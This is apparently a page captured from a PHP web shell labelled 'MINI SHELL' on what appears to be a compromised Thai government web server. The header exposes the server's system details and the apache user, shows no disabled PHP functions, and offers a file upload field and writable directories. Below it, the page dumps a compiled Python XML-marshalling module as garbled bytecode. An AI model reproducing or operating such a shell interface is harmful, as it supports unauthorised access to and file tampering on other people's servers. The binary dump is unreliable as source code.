MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/marshal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/marshal/generic.pyc
m
I=c@sdkTdkZdklZlZdZdeifdYZhZhZ	hZ
deifdYZdfd	YZeZ
e
iZe
iZeZeiZeiZ[
[d
dZdfd
YZdfdYZdZedjoendS((t*N(ssaxlibssaxextscCsIt|}t|}||j	ot|i|iSnt||S(N(ttypetattatbttbtcmpt__name__(RRRR((t</usr/lib/python2.4/site-packages/_xmlplus/marshal/generic.pytversion_independent_cmps

t
MarshallercBstZdZdZdZdZdZdZdZdZ	d	Z
d
ZdZdZ
d
ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ d Z!d!Z"d"Z#d#Z$RS($Ns<?xml version="1.0"?>ttmarshaltinttfloattlongtstringttupletlistt
dictionarytcomplext	referencetcodetnonetobjectcCsOhdd<}|i|ig|i||}|it	i
|ddS(s Write the value on the open filetidiRN(tdicttselftPROLOGUEtDTDtm_roottvaluetLtfiletwriteRtjoin(RRR!R R((Rtdump.s#cCsBhdd<}|i|ig|i||}ti|dS(s-Marshal value, returning the resulting stringRiRN(	RRRRRRR RR#(RRRR ((Rtdumps7s#cCst|}tt|}|i|o|i	||SnGt|t
jo
d}ndt|i}t
||||SdS(Ntm_longtm_(RRtttstrRtiRthas_keyRtm_referencetLongTypetmethRtgetattr(RRRR*R(R.((Rt_marshalRs
cCstdt|ddS(NsMarshalling of object s+ unimplemented or not supported in this DTD(t
ValueErrortreprR(RRR((Rtm_unimplemented_scCs5|i}d|g|i||d|g}|S(Ns<%s>s</%s>(Rttag_roottnameR0RRR (RRRR5R ((RRfs	(cCs/|tt|}d|id|fgS(Nt<s id="i%s"/>(RR)RRR*Rt
tag_reference(RRRR*((RR,nscCs|i}d|dg}t|}d|jpd|jp
d|joCti|dd}ti|dd}ti|dd}n|i	||i	d|d|S(NR6t>t&s&amp;s&lt;s&gt;s</(
Rt
tag_stringR5R R)RtsRtreplacetappend(RRRR5R R;((Rtm_stringts	'
cCs|i||S(N(RR>RR(RRR((Rtm_strscCs.|i}d|dt|d|dgS(NR6R8s</(Rttag_intR5R)R(RRRR5((Rtm_ints	cCs.|i}d|dt|d|dgS(NR6R8s</(Rt	tag_floatR5R)R(RRRR5((Rtm_floats	cCsY|i}t|}|ddjo|d }nd|dt|d|dgS(NiR R6R8s</(Rttag_longR5R)R(RRRR5((RR&s
	cCsd|i}g}|id|dx$|D]}||i||}q+W|id|d|S(NR6R8s</(	Rt	tag_tupleR5R R=RtelemR0R(RRRR5RFR ((Rtm_tuples	cCs|i}g}|dd|d<t|d}||tt|<|||<|i	d|d|x$|D]}||i||}qqW|i	d|d|S(NRiR6s
 id="i%s">s</R8(Rttag_listR5R RR)R*RRR=RFR0(RRRR5R*R RF((Rtm_lists	
c	Cs|i}g}|dd|d<t|d}||tt|<|||<|i	d|d|f|i
}|itx:|D]2\}}||i|||i||}qW|i	d|d|S(NRiR6s
 id="i%s">s</R8(Rttag_dictionaryR5R RR)R*RRR=titemstsortR	tkeytvR0(	RRRRMR5R*RKR RN((Rtm_dictionarys	

*cCs|i||S(N(RRORR(RRR((Rtm_dictscCsd|idgS(NR6s/>(Rttag_none(RRR((Rtm_NonescCs|i||S(N(RRRRR(RRR((Rt
m_NoneTypescCsB|i}d|dt|idt|id|dgS(NR6R8t s</(Rttag_complexR5R)Rtrealtimag(RRRR5((Rt	m_complexs	cCsj|i}g}dk}dk}|id|i|}|i
|}|i||id|S(Ns<code>s</code>(Rttag_codeR5R Rtbase64R=R%RR;tencodestring(RRRR5RZR R;R((Rtm_codes	


c
Cs#|i}g}|dd|d<t|d}||tt|<|||<|i	}	|id|||	i|	i
ft|do|i}t|nf}||i||}y
|i}Wntj
o|i}nX|}||i||}|id||S(NRis$<%s id="i%s" module="%s" class="%s">t__getinitargs__s</%s>(Rttag_instanceR5R RR)R*RRt	__class__tclsR=t
__module__RthasattrR]targstlenR0t__getstate__tgetstatetAttributeErrort__dict__tstuff(
RRRRfR5R*RcR RiR`((Rt
m_instances*	
	#
	(%RRaRRR4R@RBRDR:RERHRJRUR7RYRQR^R$R%R0R3RR,R>R?RARCR&RGRIRORPRRRSRXR\Rj(((RR
sF				
											
						tUnmarshallercBstZhddA<ddB<ddC<d	dD<ddE<ddF<ddG<ddH<ddI<ddJ<ddK<d dL<d#dM<Zd&Zd'Zd(Zd)Zd*Zd+Z	d,Z
d-Zd.Zd/Z
d0Zd1ZeZZZeZZZeZd2Zd3Zd4Zd5Zd6Zd7Zd8Zd9Zd:Zd;Z d<Z!d=Z"d>Z#d?Z$d@Z%RS(NNRt
um_start_rootR
tum_start_intt
um_end_intRtum_start_floattum_end_floatRt
um_start_longtum_end_longRtum_start_stringt
um_end_stringRtum_start_tupletum_end_tupleRt
um_start_listtum_end_listRtum_start_dictionarytum_end_dictionaryRtum_start_complextum_end_complexRtum_start_referenceRt
um_start_codetum_end_codeRt
um_start_nonetum_end_noneRtum_start_instancetum_end_instancecCsh}xs|iiD]b\}\}}|dj	ot||}n|dj	ot||}n||f||<qW||_|i	dS(N(
tdRtunmarshal_methRKRMtsmtemtNoneR/t_clear(RRRRMR((Rt__init__s

	cCsg|_h|_d|_dS(s}
        Protected method to (re)initialize the object into
        a steady state. Performed by __init__ and _load.
        iN(Rt
data_stackRtaccumulating_chars(R((RR*s		cCs|i}|i|S(s7Unmarshal one value, reading it from a file-like objectN(RR_tmt_loadR!(RR!R((Rtload3scCs1|i}dk}|i|}|i|S(s!Unmarshal one value from a stringN(RR_RtStringIORR!R(RRRR!R((Rtloads:s
	cCs^ti}|i||i|t|idjpt	|id}|i|S(s!Read one value from the open fileiiN(tsaxextstmake_parsertptsetDocumentHandlerRt	parseFileR!RdRtAssertionErrortresultR(RR!RR((RRGs



cBsMh}yd||f|UWn&ej
oed||fnX||S(Nsfrom %s import %ss(Failed to import class %s from module %s(tenvtmoduleR5tImportErrortSystemError(RRR5R((Rt
find_classSscCs5|i|\}}|dj	o|||SndS(N(RRR5RRRtattrs(RR5RRR((RtstartElementos
cCs1|io#|idi||||!ndS(Ni(RRRR=tchtstarttlength(RRRR((Rt
charactersus
cCs2|i|\}}|dj	o||ndS(N(RRR5RRR(RR5RR((Rt
endElementys
cCs/|ip
|iotdt|ndS(Ns)root element %s found elsewhere than root(RRRR1R2R5(RR5R((RRlscCsV|idpt|d}|ii|pt|ii|i|dS(NR(RR+RRRRRR=(RR5RR((RR}s
cCs|iigd|_dS(Ni(RRR=R(RR5R((Rtum_start_genericscCs6|i}tti|dd|d<d|_dS(NiRi(RRtdsR)RR#R(RR5R((RRts	 cCsD|i}ti|dd|d<t|d|d<d|_dS(NiRi(RRRRR#R
R(RR5R((RRns	cCsD|i}ti|dd|d<t|d|d<d|_dS(NiRi(RRRRR#RR(RR5R((RRrs	cCsD|i}ti|dd|d<t|d|d<d|_dS(NiRi(RRRRR#RR(RR5R((RRps	cCs |i}d|d<d|_dS(Nii(RRRRR(RR5R((RRs	
cCsj|i}ti|dd}ti|}t|dt|dd}|g|d)d|_dS(NiRiix0.01.0(	RRRRR#tctsplitRR(RR5RR((RR|s	"
cCs`dk}dk}|i}ti|dd}|i|}|i	||d<d|_
dS(NiRi(RRZRRRRR#R;tdecodestringRR(RR5RZRR;R((RRs	cCsU|iitg}|ido|d}||i|<n|ii|dS(NR(	RRR=tLISTR RR+RR(RR5RR R((RRws
cCs|i}x:tt|dddD]}||tjoPq&q&W|djpt||d}||dt|!|(|g||)dS(Niii(	RRRtrangeRdtindexRRR (RR5RR R((RRxs		cCs|iitdS(N(RRR=tTUPLE(RR5R((RRuscCs|i}x:tt|dddD]}||tjoPq&q&W|djptt||dt|!}|g||)dS(Nii(
RRRRRdRRRRR((RR5RR(R((RRvs		cCsU|iith}|ido|d}||i|<n|ii|dS(NR(	RRR=tDICTRRR+RR(RR5RRR((RRys
cCs|i}x:tt|dddD]}||tjoPq&q&W|djpt||d}xFt|dt|dD](}||}||d}|||<qW|g||)dS(Niii(RRRRRdRRRRR*RMR(RR5RR*RRMRR((RRzs		
cCs||d}|d}t}|ido|d}||i|<n|i	i
||i	i
||i	i
|dS(NRtclassR(RRt	classnamet_EmptyClassRR+RRRRR=(RR5RRRRR((RRs

	
c
CsC|id\}	}}}
}|i||}d}|
o7t
|tjo$t|do||	_
d}n|pyt||
}Wn>tj
o2}td|it|ftidqXx1|iiD]\}}t|	||qWnx*|iD]\}}t|	||qW|	g|id)dS(NiiR]isin constructor for %s: %si(RRRRRtinitargsRRtklasstinstantiatedRt	ClassTypeRbR_tapplytv2t	TypeErrorterrRR)tsystexc_infoRhRKtkRNtsetattr(
RR5RRRNRRRRRRRR((RRs$,	
.
(s
um_start_rootN(sum_start_ints
um_end_int(sum_start_floatsum_end_float(s
um_start_longsum_end_long(sum_start_strings
um_end_string(sum_start_tuplesum_end_tuple(s
um_start_listsum_end_list(sum_start_dictionarysum_end_dictionary(sum_start_complexsum_end_complex(sum_start_referenceN(s
um_start_codesum_end_code(s
um_start_nonesum_end_none(sum_start_instancesum_end_instance(&RRaRRRRRRRRRRRRlR}RRoRqRsR{R~RRmRtRnRrRpRR|RRwRxRuRvRyRzRR(((RRks>{	
				
																			
				
	RcBstZRS(N(RRa(((RR!sicCsdk}x|D]}	||	}
|
GH||
}|i}||	||i	d||}|o2|	|jo|	|jo
||jpt
qqWdS(Ni(Rttest_valuestitemR%R;RtoutputR!R$tseekRtoutput2t	do_assertR(RRR$R%RRR!RRRR;R((Rttest-s	

t_AcBstZdZRS(NcCsdS(Ns<A instance>((R((Rt__repr__@s(RRaR(((RR?st_BcBstZdZRS(NcCsdS(Ns<B instance>((R((RRCs(RRaR(((RRBscCsbdGHddtdddddddd	d
dghdd
<dd<g	}ttttt|t}t
|_ddtddddddg|i_||_
|g}ttttt|ddddtddhdd<dd<dddg}|i|ttttt|gddtd}|ddgfjptdS(NsTesting XML marshalling...iil{f19.719999999999999x0.05.0shere is a string & a <fake tag>italphatbetatgammaRMRRilAtspamteggss
<fake tag>s<?xml version="1.0"?>
<marshal>
  <tuple>
    <float> 1.0 </float>
    <string>abc</string>
    <list id="i2" />
  </tuple>
</marshal>f1.0tabc(iii(RtpowR RRRR$R%RtinstanceRt	subobjectRRtrecursive_listR=RR(RR RR((RtruntestsFsI+		7
t__main__(ttypesRtxml.saxtsaxlibRR	tHandlerBaseR
RRRRkRt_mR$R%t_umRRRRRRR(RRR$RRkRRR%R
RRRRRRRRRR	R((Rt?s.									%


Anon7 - 2021